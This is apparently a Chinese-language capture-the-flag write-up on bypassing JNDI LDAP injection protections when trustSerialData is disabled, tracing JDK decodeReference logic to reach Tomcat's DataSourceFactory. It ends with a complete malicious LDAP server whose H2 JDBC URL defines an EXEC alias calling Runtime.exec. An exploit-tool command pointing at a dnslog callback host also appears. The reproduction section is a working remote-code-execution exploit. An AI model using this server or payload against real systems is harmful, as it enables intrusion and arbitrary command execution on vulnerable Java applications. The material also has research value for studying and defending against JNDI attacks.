题目总览
考察在truestSerialData
关闭的场景下通过jndi:ldap
协议打本地工厂类的绕过
题目环境是其他师傅自己写出来的,题目本身无附件,只能通过heapdump进行相关的分析,在actuator/env中设置truestSerialData为false
然后依赖中是有tomcat-jdbc-9.0.83.jar以及h2-2.1.214.jar两个依赖
调试分析
编写一个Test文件用于调试
1 2 3 4 5 6 7 8 9 10 11
| import javax.naming.InitialContext;
public class Test { public static void main(String[] args) throws Exception { System.setProperty("com.sun.jndi.ldap.object.trustSerialData", "false"); InitialContext initialContext = new InitialContext(); String path = "localhost:1389/deserialURLDNS"; String url = "ldap://" + path; initialContext.lookup(url); } }
|
然后开一个ldap-server,开始调试
1
| java -jar JNDI-Injection-Exploit-Plus-2.4-SNAPSHOT-all.jar -C http://vpnbes.dnslog.cn -A 127.0.0.1
|
前面就是层层调用各种类的lookup,解析我们的ldap协议,我们跟进到LdapCtx的c_lookeup方法
随后会调用doSearchOnce方法获取ldap-server的信息
其中javaserializeddata就是我们ldap-server插入的反序列化数据,然后会将这个数据存入到attrs中
然后判断attrs中JavaClassName是否为null
也就是只要请求了ldap的javaclassname,就会步入到Obj.decodeObject方法,跟进
首先获取codebase,也就是看是否有需要远程加载类的路径,然后获取serializedata,如果检验通过的话,便会调用deserializeObject方法对其进行反序列化,那我们到底能不能过if能,答案是不行的
虽然jdk17中,trustSerialData默认为true
但由于我们在代码中设置了它为false,随后便会抛出异常
所以这条路走不通,我们继续往下看看decodeObject方法
如果JAVA_ATTRIBUTES[REMOTE_LOC]不为null的话,就会调用decodeRmiObject方法(JAVA_ATTRIBUTES[REMOTE_LOC]为javaRemoteLocation)
我们看一下这个方法
返回了一个reference类,而这个方法只给Reference
塞进去javaClassName
,javaRemoteLocation
。我们的目的是打本地工厂类,最起码需要塞进去javaFactory
这个属性
所以这里也走不通
再继续看
如果attr中包含了JAVA_OBJECT_CLASSES[REF_OBJECT],也就是javaNamingReference的话,那么就会调用decodeReference方法
那我们调整一下ldap-server的处理逻辑
再进行调试,成功步入到decodeReference方法中
会实例化这样一个Reference对象
最后会将这个对象返回
然后回到c_lookup方法,会调用到DirectoryManager.getObjectInstance方法
接着便会实例化factory对象
然后调用createDataSource方法,触发JDBC连接
而现在properties还是空的,properties又是从ref中取出的
所以我们重新再看一下decodeReference方法
有这样一段if语句,用于处理refaddress
我们看一下最后的代码
就是将refAddrList中的元素复制到ref中
回过头继续看if
这里会对取出的attr进行一个遍历,也就是javaReferenceAddress的值
然后取第一个字符为分隔符
然后posnStr就是第一个和第二个分隔符之间的字符
然后取type,就是最后exp中的url
最后通过setElementAt设置索引,赋值给refAddrList
后面就是打h2jdbc
了,java15
之后没有nashorn
,所以通过javac
执行代码。
复现
ldap-server
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60
| import com.unboundid.ldap.listener.InMemoryDirectoryServer; import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig; import com.unboundid.ldap.listener.InMemoryListenerConfig; import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult; import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor; import com.unboundid.ldap.sdk.Entry; import com.unboundid.ldap.sdk.LDAPResult; import com.unboundid.ldap.sdk.ResultCode;
import javax.naming.Reference; import javax.naming.StringRefAddr; import javax.net.ServerSocketFactory; import javax.net.SocketFactory; import javax.net.ssl.SSLSocketFactory; import java.net.InetAddress; import java.util.Properties;
public class exp { public static void main(String[] args) { try { InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig("dc=example,dc=com"); config.setListenerConfigs(new InMemoryListenerConfig( "listen", InetAddress.getByName("0.0.0.0"), 1389, ServerSocketFactory.getDefault(), SocketFactory.getDefault(), (SSLSocketFactory) SSLSocketFactory.getDefault()));
config.addInMemoryOperationInterceptor(new OperationInterceptor()); InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config); System.out.println("[LDAP] Listening on 0.0.0.0:1389"); ds.startListening(); } catch (Exception e) { e.printStackTrace(); } } public static class OperationInterceptor extends InMemoryOperationInterceptor {
@Override public void processSearchResult(InMemoryInterceptedSearchResult searchResult) { String base = searchResult.getRequest().getBaseDN(); Entry e = new Entry(base); e.addAttribute("objectClass","javaNamingReference");
e.addAttribute("javaClassName", "javax.sql.DataSource"); e.addAttribute("javaFactory","org.apache.tomcat.jdbc.pool.DataSourceFactory"); String JDBC_URL = "jdbc:h2:mem:testdb;TRACE_LEVEL_SYSTEM_OUT=3;INIT=CREATE ALIAS EXEC AS 'String shellexec(String cmd) throws java.io.IOException {Runtime.getRuntime().exec(cmd)\\;return \"1\"\\;}'\\;CALL EXEC ('calc')"; e.addAttribute("javaReferenceAddress",new String[]{"/0/url/"+JDBC_URL,"/1/driverClassName/org.h2.Driver","/2/username/ycxlo","/3/password/ycxlo","/4/initialSize/1"});
try { searchResult.sendSearchEntry(e); searchResult.setResult(new LDAPResult(0, ResultCode.SUCCESS)); } catch (Exception ex) { ex.printStackTrace(); } } } }
|